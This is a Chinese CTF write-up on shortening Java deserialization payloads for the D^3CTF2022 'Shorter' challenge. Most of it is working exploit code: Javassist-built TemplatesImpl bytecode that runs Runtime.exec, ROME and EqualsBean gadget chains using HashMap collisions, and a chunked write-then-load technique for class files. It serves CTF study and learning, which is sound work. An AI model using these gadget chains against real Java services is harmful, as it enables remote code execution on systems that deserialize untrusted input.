payload缩短技术-[D^3CTF2022] Shorter
字数 862 2025-08-06 18:08:14
Payload缩短技术详解 - 基于[D^3CTF2022] Shorter题目的研究
前言
本文详细分析如何通过各种技术手段缩短Java反序列化Payload的长度,以解决CTF比赛中常见的长度限制问题。所有技术点均基于[D^3CTF2022] Shorter题目的实际解决方案。
基础概念
反序列化漏洞利用链
在Java反序列化漏洞利用中,我们通常需要构造一个恶意对象链,使其在反序列化时能够执行任意代码。常见的利用链包括:
- ROME链:利用com.sun.syndication.feed.impl包中的类
- CommonsBeanutils链:利用org.apache.commons.beanutils包中的类
题目分析
题目要求构造一个反序列化Payload,但存在严格的长度限制。主要利用点是Rome 1.0库中的反序列化漏洞。
Payload缩短技术
1. 序列化数据本身的缩小
关键点:
- 简化对象属性:只保留必要的属性
- 缩短字段名称:使用最短可能的名称
- 移除不必要的对象引用
示例代码优化:
// 优化前
setFieldValue(templates, "_name", "HelloTemplatesTmpl");
// 优化后
setFieldValue(templates, "_name", "1"); // 只需非空即可
2. 字节码层面的优化
(1) 使用Javassist生成精简字节码
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("e"); // 使用最短类名
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");"); // 精简代码
byte[] bytes = ctClass.toBytecode();
(2) 使用ASM删除调试信息
public class ShortMethodAdapter extends MethodVisitor implements Opcodes {
@Override
public void visitLineNumber(int line, Label start) {
// 删除行号信息
}
}
3. 利用链优化
(1) 直接利用EqualsBean代替toString链
EqualsBean bean = new EqualsBean(String.class,"");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("bb",templates);
map1.put("cC",bean);
map2.put("bb",bean);
map2.put("cC",templates);
HashMap map = new HashMap();
map.put(map1,"");
map.put(map2,"");
(2) 移除不必要的Bean属性
setFieldValue(objb,"_toStringBean",null);
setFieldValue(objb,"_cloneableBean",null);
setFieldValue(exp,"_equalsBean",null);
高级技巧
1. 分块传输技术
当Payload仍然过长时,可以采用分块传输:
// 第一段:写入部分字节码
static {
try {
FileOutputStream fos = new FileOutputStream(path, true);
String data = "BASE64_BYTECODES_PART";
fos.write(data.getBytes());
fos.close();
} catch (Exception ignore) {}
}
// 最后一段:组合并执行
static {
try {
FileInputStream fis = new FileInputStream(path);
byte[] data = new byte[size];
fis.read(data);
FileOutputStream fos = new FileOutputStream("Evil.class");
fos.write(Base64.getDecoder().decode(data));
fos.close();
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{"file:///path/"});
Class<?> clazz = urlClassLoader.loadClass("Evil");
clazz.newInstance();
} catch (Exception ignored) {}
}
2. HashMap哈希碰撞利用
通过精心构造HashMap键值对触发equals方法:
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("bb",templates); // 注意bb和cC的哈希关系
map1.put("cC",bean);
map2.put("bb",bean);
map2.put("cC",templates);
完整示例
最优解示例1 (EqualsBean直接利用)
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.*;
public class ShortestPayload {
public static void main(String[] args) throws Exception {
// 生成精简字节码
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
ctClass.makeClassInitializer().insertAfter("Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = ctClass.toBytecode();
// 设置TemplatesImpl
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setField(templates, "_bytecodes", new byte[][]{bytes});
setField(templates, "_name", "a");
// 构造利用链
EqualsBean bean = new EqualsBean(String.class,"");
HashMap map1 = new HashMap(), map2 = new HashMap();
map1.put("bb",templates); map1.put("cC",bean);
map2.put("bb",bean); map2.put("cC",templates);
HashMap map = new HashMap();
map.put(map1,""); map.put(map2,"");
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
new ObjectOutputStream(baos).writeObject(map);
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
static void setField(Object obj, String field, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
}
最优解示例2 (精简ROME链)
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.*;
public class RomeShortPayload {
public static void main(String[] args) throws Exception {
// 生成精简字节码
// ...同上...
// 设置TemplatesImpl
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setField(templates, "_bytecodes", new byte[][]{bytes});
setField(templates, "_name", "a");
// 构造精简ROME链
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);
HashMap map = new HashMap();
map.put(objectBean, "x");
// 移除不必要属性
setField(objectBean, "_toStringBean", null);
setField(objectBean, "_cloneableBean", null);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
new ObjectOutputStream(baos).writeObject(map);
System.out.println(baos.toByteArray().length);
}
}
总结
通过以下技术组合可以有效缩短Payload长度:
- 字节码优化:使用Javassist生成最小化字节码,移除调试信息
- 利用链精简:选择最短利用路径,移除不必要的对象属性
- 序列化数据优化:使用最短字段名,只保留必要属性
- 高级技巧:分块传输、哈希碰撞等
在实际CTF比赛中,需要根据题目具体限制条件选择最适合的优化组合。